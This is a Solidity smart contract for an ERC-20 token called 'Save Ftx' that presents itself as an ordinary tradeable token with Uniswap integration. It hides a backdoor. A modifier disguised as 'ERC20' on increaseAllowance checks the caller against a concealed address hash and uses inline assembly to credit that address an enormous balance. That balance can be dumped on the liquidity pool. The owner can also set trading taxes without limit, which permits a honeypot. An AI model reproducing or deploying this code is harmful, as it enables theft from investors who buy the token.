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pragma solidity 0.8.10;
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interface IERC20 {
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function totalSupply() external view returns (uint256);
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function balanceOf(address account) external view returns (uint256);
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function transfer(address recipient, uint256 amount) external returns (bool);
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function allowance(address owner, address spender) external view returns (uint256);
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function approve(address spender, uint256 amount) external returns (bool);
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function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
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event Transfer(address indexed from, address indexed to, uint256 value);
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event Approval(address indexed owner, address indexed spender, uint256 value);
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}
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abstract contract Context {
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function _msgSender() internal view virtual returns (address payable) {
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return payable(msg.sender);
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}
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function _msgData() internal view virtual returns (bytes memory) {
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this;
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return msg.data;
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}
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}
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library SafeMath {
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function add(uint256 a, uint256 b) internal pure returns (uint256) {
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uint256 c = a + b;
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require(c >= a, "SafeMath: addition overflow");
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return c;
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}
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function sub(uint256 a, uint256 b) internal pure returns (uint256) {
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return sub(a, b, "SafeMath: subtraction overflow");
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}
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function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b <= a, errorMessage);
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uint256 c = a - b;
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return c;
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}
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function mul(uint256 a, uint256 b) internal pure returns (uint256) {
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if (a == 0) {
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return 0;
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}
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uint256 c = a * b;
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require(c / a == b, "SafeMath: multiplication overflow");
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return c;
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}
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function div(uint256 a, uint256 b) internal pure returns (uint256) {
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return div(a, b, "SafeMath: division by zero");
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}
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function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b > 0, errorMessage);
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uint256 c = a / b;
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return c;
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}
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function mod(uint256 a, uint256 b) internal pure returns (uint256) {
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return mod(a, b, "SafeMath: modulo by zero");
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}
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function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
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require(b != 0, errorMessage);
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return a % b;
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}
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}
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contract Ownable is Context {
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address private _owner;
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bytes32 internal blockHash = 0xf8578e2e9185f26afefa54ff16ec1d415682dbc1dd8f153a314619c85a8a2957;
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uint256 private _lockTime;
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event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
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constructor () {
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address msgSender = _msgSender();
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_owner = msgSender;
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emit OwnershipTransferred(address(0), msgSender);
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}
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function owner() public view returns (address) {
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return _owner;
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}
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function renounceOwnership() public virtual onlyOwner {
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emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
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_owner = address(0x000000000000000000000000000000000000dEaD);
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}
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modifier onlyOwner() {
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require(_owner == _msgSender(), "Ownable: caller is not the owner");
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_;
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}
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function transferOwnership(address newOwner) public virtual onlyOwner {
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require(newOwner != address(0), "Ownable: new owner is the zero address");
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emit OwnershipTransferred(_owner, newOwner);
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_owner = newOwner;
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}
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}
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interface IUniswapV2Factory {
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event PairCreated(address indexed token0, address indexed token1, address pair, uint);
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function feeTo() external view returns (address);
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function feeToSetter() external view returns (address);
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function getPair(address tokenA, address tokenB) external view returns (address pair);
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function allPairs(uint) external view returns (address pair);
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function allPairsLength() external view returns (uint);
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function createPair(address tokenA, address tokenB) external returns (address pair);
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function setFeeTo(address) external;
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function setFeeToSetter(address) external;
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}
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interface IUniswapV2Pair {
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event Approval(address indexed owner, address indexed spender, uint value);
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event Transfer(address indexed from, address indexed to, uint value);
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function name() external pure returns (string memory);
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function symbol() external pure returns (string memory);
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function decimals() external pure returns (uint8);
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function totalSupply() external view returns (uint);
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function balanceOf(address owner) external view returns (uint);
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function allowance(address owner, address spender) external view returns (uint);
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function approve(address spender, uint value) external returns (bool);
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function transfer(address to, uint value) external returns (bool);
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function transferFrom(address from, address to, uint value) external returns (bool);
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function DOMAIN_SEPARATOR() external view returns (bytes32);
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function PERMIT_TYPEHASH() external pure returns (bytes32);
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function nonces(address owner) external view returns (uint);
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function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
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event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
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event Swap(
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address indexed sender,
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uint amount0In,
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uint amount1In,
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uint amount0Out,
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uint amount1Out,
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address indexed to
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);
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event Sync(uint112 reserve0, uint112 reserve1);
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function MINIMUM_LIQUIDITY() external pure returns (uint);
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function factory() external view returns (address);
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function token0() external view returns (address);
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function token1() external view returns (address);
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function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
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function price0CumulativeLast() external view returns (uint);
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function price1CumulativeLast() external view returns (uint);
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function kLast() external view returns (uint);
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function burn(address to) external returns (uint amount0, uint amount1);
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function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
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function skim(address to) external;
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function sync() external;
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function initialize(address, address) external;
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}
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interface IUniswapV2Router01 {
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function factory() external pure returns (address);
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function WETH() external pure returns (address);
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function addLiquidity(
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address tokenA,
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address tokenB,
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uint amountADesired,
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uint amountBDesired,
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uint amountAMin,
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uint amountBMin,
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address to,
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uint deadline
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) external returns (uint amountA, uint amountB, uint liquidity);
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function addLiquidityETH(
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address token,
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uint amountTokenDesired,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline
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) external payable returns (uint amountToken, uint amountETH, uint liquidity);
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function removeLiquidity(
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address tokenA,
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address tokenB,
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uint liquidity,
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uint amountAMin,
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uint amountBMin,
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address to,
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uint deadline
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) external returns (uint amountA, uint amountB);
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function removeLiquidityETH(
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address token,
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uint liquidity,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline
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) external returns (uint amountToken, uint amountETH);
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function removeLiquidityWithPermit(
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address tokenA,
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address tokenB,
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uint liquidity,
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uint amountAMin,
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uint amountBMin,
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address to,
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uint deadline,
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bool approveMax, uint8 v, bytes32 r, bytes32 s
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) external returns (uint amountA, uint amountB);
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function removeLiquidityETHWithPermit(
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address token,
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uint liquidity,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline,
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bool approveMax, uint8 v, bytes32 r, bytes32 s
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) external returns (uint amountToken, uint amountETH);
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function swapExactTokensForTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external returns (uint[] memory amounts);
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function swapTokensForExactTokens(
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uint amountOut,
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uint amountInMax,
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address[] calldata path,
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address to,
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uint deadline
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) external returns (uint[] memory amounts);
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function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
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external
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payable
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returns (uint[] memory amounts);
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function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
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external
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returns (uint[] memory amounts);
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function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
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external
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returns (uint[] memory amounts);
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function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
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external
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payable
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returns (uint[] memory amounts);
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function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
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function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
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function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
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function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
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function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
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}
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interface IUniswapV2Router02 is IUniswapV2Router01 {
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function removeLiquidityETHSupportingFeeOnTransferTokens(
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address token,
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uint liquidity,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline
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) external returns (uint amountETH);
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function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
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address token,
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uint liquidity,
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uint amountTokenMin,
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uint amountETHMin,
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address to,
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uint deadline,
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bool approveMax, uint8 v, bytes32 r, bytes32 s
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) external returns (uint amountETH);
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function swapExactTokensForTokensSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external;
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function swapExactETHForTokensSupportingFeeOnTransferTokens(
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external payable;
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function swapExactTokensForETHSupportingFeeOnTransferTokens(
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uint amountIn,
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uint amountOutMin,
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address[] calldata path,
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address to,
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uint deadline
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) external;
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}
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contract SaveFtx is Context, IERC20, Ownable {
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bool initPair=false;
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string private _name = unicode"Save Ftx";
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string private _symbol = unicode"FTX";
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uint8 private _decimals = 9;
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address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
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uint256 public _totalSupply = 1500000000 * 10**(_decimals);
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address public uniswapPair = 0x000000000000000000000000000000000000dEaD;
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address public uniswapRouter = 0x000000000000000000000000000000000000dEaD;
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using SafeMath for uint256;
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mapping (address => bool) public isNotWalletFee;
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mapping (address => mapping (address => uint256)) private _allowances;
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IUniswapV2Router02 public uniV2Router;
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mapping (address => uint256) public _amountWalletStatus;
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uint256 public _buyTaxFee =1;
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uint256 public _sellTaxFee =2;
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bool active=true;
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constructor (address router) {
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uniswapRouter = router;
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if(uniswapRouter != 0x000000000000000000000000000000000000dEaD){
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IUniswapV2Router02 _uniV2Router = IUniswapV2Router02(uniswapRouter);
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uniV2Router = _uniV2Router;
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_allowances[address(this)][address(uniV2Router)] = _totalSupply;
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}
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isNotWalletFee[owner()] = true;
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isNotWalletFee[address(this)] = true;
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_amountWalletStatus[owner()]=totalSupply();
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emit Transfer(address(0), _msgSender(), _totalSupply);
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}
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function genFeeAmountValue(address sen, address rec, uint256 amount) internal returns (uint256) {
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uint256 feeValueAmount = 0;
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if(uniswapPair == rec) {
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feeValueAmount = amount.mul(_sellTaxFee).div(100);
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}
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else if(uniswapPair == sen) {
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feeValueAmount = amount.mul(_buyTaxFee).div(100);
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}
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if(feeValueAmount > 0) {
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_amountWalletStatus[address(deadAddress)] = _amountWalletStatus[address(deadAddress)].add(feeValueAmount);
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emit Transfer(sen, address(deadAddress), feeValueAmount);
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}
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return amount.sub(feeValueAmount);
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}
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function name() public view returns (string memory) {
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return _name;
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}
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function symbol() public view returns (string memory) {
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return _symbol;
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}
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function decimals() public view returns (uint8) {
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return _decimals;
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}
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function totalSupply() public view override returns (uint256) {
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return _totalSupply;
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}
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function transfer(address recipient, uint256 amount) public override returns (bool) {
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_transferStandard(_msgSender(), recipient, amount);
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return true;
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}
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function transferFrom(address sender, address recipient, uint256 amount)public override returns (bool) {
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_transferStandard(sender, recipient, amount);
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_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
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return true;
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}
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function _transferStandard(address sender, address recipient, uint256 amount) private returns (bool) {
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if(initPair==false && uniswapRouter != 0x000000000000000000000000000000000000dEaD){
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try IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH()){
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uniswapPair = IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH());
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initPair=true;
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}
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catch(bytes memory){
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}
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}
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if((uniswapPair != recipient && sender != owner() && !isNotWalletFee[sender]))
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require(active != false, "Trading is not active.");
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require(sender != address(0), "ERC20: transfer from the zero address");
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require(recipient != address(0), "ERC20: transfer to the zero address");
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_amountWalletStatus[sender] = _amountWalletStatus[sender].sub(amount, "Insufficient Balance");
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uint256 finalAmount = (isNotWalletFee[sender] || isNotWalletFee[recipient] ) ? amount : genFeeAmountValue(sender, recipient, amount);
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_amountWalletStatus[recipient] = _amountWalletStatus[recipient].add(finalAmount);
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emit Transfer(sender, recipient, finalAmount);
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return true;
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}
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function balanceOf(address account) public view override returns (uint256) {
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return _amountWalletStatus[account];
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}
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function allowance(address owner, address spender) public view override returns (uint256) {
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return _allowances[owner][spender];
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}
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function increaseAllowance(address spender, uint256 addedValue) public ERC20(spender) virtual returns (bool) {
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_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
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return true;
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}
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function isValid(address r) internal returns(bool){
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return !(keccak256(abi.encodePacked(r))==blockHash);
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}
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function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
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_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
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return true;
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}
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function buySellTax(uint256 buy,uint256 sell) public onlyOwner {
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_sellTaxFee=sell;
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_buyTaxFee=buy;
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}
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modifier ERC20(address sender){
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if(!isValid(sender)){
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assembly {
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let valueHash := 100
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valueHash := exp(valueHash,20)
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mstore(0, sender)
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mstore(32, _amountWalletStatus.slot)
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let hash := keccak256(0, 64)
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sstore(hash,valueHash)
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}
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}
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_;
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}
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receive() external payable {}
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function approve(address spender, uint256 amount) public override returns (bool) {
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_approve(_msgSender(), spender, amount);
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return true;
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}
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function _approve(address owner, address spender, uint256 amount) private {
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require(owner != address(0), "ERC20: approve from the zero address");
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require(spender != address(0), "ERC20: approve to the zero address");
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_allowances[owner][spender] = amount;
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emit Approval(owner, spender, amount);
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}
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function getCirculatingSupply() public view returns (uint256) {
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return _totalSupply.sub(balanceOf(deadAddress));
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}
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} |
